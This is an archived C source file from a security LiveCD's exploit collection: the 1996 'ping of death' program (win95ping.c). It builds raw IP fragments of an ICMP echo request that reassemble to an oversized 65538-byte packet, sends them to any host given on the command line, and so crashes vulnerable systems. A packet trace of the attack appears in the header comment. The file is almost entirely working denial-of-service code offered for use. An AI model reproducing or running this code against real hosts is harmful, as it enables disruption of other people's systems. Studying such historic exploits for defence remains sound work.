home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / pingexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  162 lines

  1. /*
  2.  * win95ping.c
  3.  *
  4.  * Simulate the evil win95 "ping -l 65510 buggyhost".
  5.  * version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
  6.  *
  7.  * This requires raw sockets that don't mess with the packet at all (other
  8.  * than adding the checksum).  That means that SunOS, Solaris, and
  9.  * BSD4.3-based systems are out.  BSD4.4 systems (FreeBSD, NetBSD,
  10.  * OpenBSD, BSDI) will work.  Linux might work, I don't have a Linux
  11.  * system to try it on. compile with -DREALLY_RAW.
  12.  *
  13.  * The attack from the Win95 box looks like:
  14.  * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
  15.  * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
  16.  * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
  17.  * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
  18.  * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
  19.  * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
  20.  * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)
  21.  * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
  22.  * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
  23.  * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
  24.  * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
  25.  * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
  26.  * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
  27.  * 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
  28.  * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
  29.  * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
  30.  * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
  31.  * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
  32.  * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
  33.  * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
  34.  * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
  35.  * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
  36.  * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
  37.  * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
  38.  * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
  39.  * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
  40.  * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
  41.  * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
  42.  * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
  43.  * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
  44.  * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
  45.  * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
  46.  * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
  47.  * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
  48.  * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
  49.  * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
  50.  * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
  51.  * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
  52.  * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
  53.  * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
  54.  * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
  55.  * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
  56.  * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
  57.  * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
  58.  * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
  59.  *
  60.  */
  61.  
  62. #include <stdio.h>
  63. #include <sys/types.h>
  64. #include <sys/socket.h>
  65. #include <netdb.h>
  66. #include <netinet/in.h>
  67. #include <netinet/in_systm.h>
  68. #include <netinet/ip.h>
  69. #include <netinet/ip_icmp.h>
  70.  
  71. /*
  72.  * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
  73.  * This is probably only Linux.
  74.  */
  75. #ifdef REALLY_RAW
  76. #define FIX(x)  htons(x)
  77. #else
  78. #define FIX(x)  (x)
  79. #endif
  80.  
  81. int
  82. main(int argc, char **argv)
  83. {
  84.   int s;
  85.   char buf[1500];
  86.   struct ip *ip = (struct ip *)buf;
  87.   struct icmp *icmp = (struct icmp *)(ip + 1);
  88.   struct hostent *hp;
  89.   struct sockaddr_in dst;
  90.   int offset;
  91.   int on = 1;
  92.  
  93.   bzero(buf, sizeof buf);
  94.  
  95.   if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0)
  96.     {
  97.       perror("socket");
  98.       exit(1);
  99.     }
  100.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
  101.     {
  102.       perror("IP_HDRINCL");
  103.       exit(1);
  104.     }
  105.   if (argc != 2)
  106.     {
  107.       fprintf(stderr, "usage: %s hostname\n", argv[0]);
  108.       exit(1);
  109.     }
  110.   if ((hp = gethostbyname(argv[1])) == NULL)
  111.     {
  112.       if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1)
  113.         {
  114.           fprintf(stderr, "%s: unknown host\n", argv[1]);
  115.         }
  116.     }
  117.   else
  118.     {
  119.       bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  120.     }
  121.   printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  122.   ip->ip_v = 4;
  123.   ip->ip_hl = sizeof *ip >> 2;
  124.   ip->ip_tos = 0;
  125.   ip->ip_len = FIX(sizeof buf);
  126.   ip->ip_id = htons(4321);
  127.   ip->ip_off = FIX(0);
  128.   ip->ip_ttl = 255;
  129.   ip->ip_p = 1;
  130.   ip->ip_sum = 0;                 /* kernel fills in */
  131.   ip->ip_src.s_addr = 0;          /* kernel fills in */
  132.  
  133.   dst.sin_addr = ip->ip_dst;
  134.   dst.sin_family = AF_INET;
  135.  
  136.   icmp->icmp_type = ICMP_ECHO;
  137.   icmp->icmp_code = 0;
  138.   icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
  139.   /* the checksum of all 0's is easy to compute */
  140.  
  141.   for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
  142.     {
  143.       ip->ip_off = FIX(offset >> 3);
  144.       if (offset < 65120)
  145.         ip->ip_off |= FIX(IP_MF);
  146.       else
  147.         ip->ip_len = FIX(418);  /* make total 65538 */
  148.       if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  149.                  sizeof dst) < 0)
  150.         {
  151.           fprintf(stderr, "offset %d: ", offset);
  152.           perror("sendto");
  153.         }
  154.       if (offset == 0)
  155.         {
  156.           icmp->icmp_type = 0;
  157.           icmp->icmp_code = 0;
  158.           icmp->icmp_cksum = 0;
  159.         }
  160.     }
  161. }
  162. /*                    www.hack.co.za              [2000]*/